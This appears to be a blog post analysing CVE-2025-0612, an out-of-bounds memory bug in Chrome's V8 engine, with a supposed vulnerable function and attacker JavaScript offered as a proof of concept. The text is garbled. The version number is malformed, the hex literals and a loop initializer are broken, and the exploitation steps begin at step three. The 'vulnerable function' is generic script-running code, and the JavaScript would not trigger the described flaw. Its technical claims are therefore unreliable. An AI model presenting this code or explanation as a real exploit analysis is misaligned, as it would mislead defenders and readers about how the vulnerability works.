CVE-2025-0612 - Detailed Analysis and Exploitation of Out of Bounds Memory Access in V8 Engine in Google Chrome versions prior to 132..6834.110

A recent security vulnerability code-named CVE-2025-0612 has been discovered that affects Google Chrome versions prior to 132..6834.110. Due to an out of bounds memory access issue in the V8 JavaScript engine, this vulnerability allows remote attackers to potentially exploit heap corruption by crafting malicious HTML pages. The Chromium project has assigned this vulnerability a severity rating of "High", making it crucial to understand and mitigate.

In this post, we will dive deep into how the CVE-2025-0612 vulnerability works, demonstrate code snippets related to the issue, and explore potential exploitation techniques that attackers may use. We will also provide references to the original sources of information for further understanding.

The Vulnerability

CVE-2025-0612 is caused due to an improper handling of memory allocation in the V8 JavaScript engine, which in turn leads to an out of bounds memory access. This can potentially lead to heap corruption, which can then be exploited by an attacker to execute arbitrary code on the target system.

More specifically, when processing JavaScript code with certain conditions, the engine fails to properly manage the memory buffer allocated for handling data. This results in accessing memory beyond the actual boundary of the buffer, causing unintended memory manipulations.

The vulnerable function in V8 engine

void CVE_2025_0612_vulnerable_function(v8::Isolate* isolate,
                                       v8::Local<v8::Context> context,
                                       const std::string& source) {
  v8::ScriptCompiler::Source script_source(
      v8::String::NewFromUtf8(isolate, source.c_str(),
                              v8::NewStringType::kNormal).ToLocalChecked());
  v8::Local<v8::Script> script;
  if (!v8::ScriptCompiler::Compile(context, &script_source).ToLocal(&script)) {
    // Failed to compile the script, exit early!
    return;
  }

  // Run the script and potentially trigger the OOB memory access vulnerability.
  script->Run(context);
}

The attacker-controlled JavaScript code

var vulnerable_array = new Array(32);
vulnerable_array.length = xFFFFFFFF;

function malicious_function(index) {
  if (index > vulnerable_array.length) {
    return "";
  }

  var malicious_data = "";
  for (var i = ; i < x100; ++i) {
    malicious_data += "A"; // Arbitrary data, can be attacker-controlled.
  }

  vulnerable_array[index] = malicious_data;
}

malicious_function(x80000000); // Trigger the vulnerability.

In the above code snippets, the vulnerable function runs the attacker-controlled JavaScript code. The attacker crafts an array with an abnormally large length (xFFFFFFFF), and the malicious_function() tries to access this array using an index (x80000000) way beyond its actual boundary. This ultimately results in an out of bounds memory access.

Luring the victim to visit the malicious page that exploits the vulnerability.

3. Gaining arbitrary code execution on the victim's machine by leveraging the heap corruption caused by the out of bounds memory access.

For more information and in-depth technical analysis, please visit the following resources

1. Chromium Security Advisory for CVE-2025-0612
2. Google Chrome Release Blog - Security Fixes and Rewards
3. V8 Engine Source Code Repository

Conclusion

CVE-2025-0612 is a serious security vulnerability that affects Google Chrome versions prior to 132..6834.110. By exploiting this vulnerability, attackers can potentially execute arbitrary code on the victim's machine by crafting malicious HTML pages that cause heap corruption due to an out of bounds memory access in the V8 JavaScript engine.

Mitigating this vulnerability requires updating to the latest version of Google Chrome. As always, please ensure that you continuously apply security patches, avoid visiting untrusted websites, and remain vigilant about the security of your devices. Be sure to review the provided references for a deeper understanding of this vulnerability, its impact, and exploitation techniques.

Timeline

Published on: 01/22/2025 20:15:30 UTC
Last modified on: 02/04/2025 19:15:32 UTC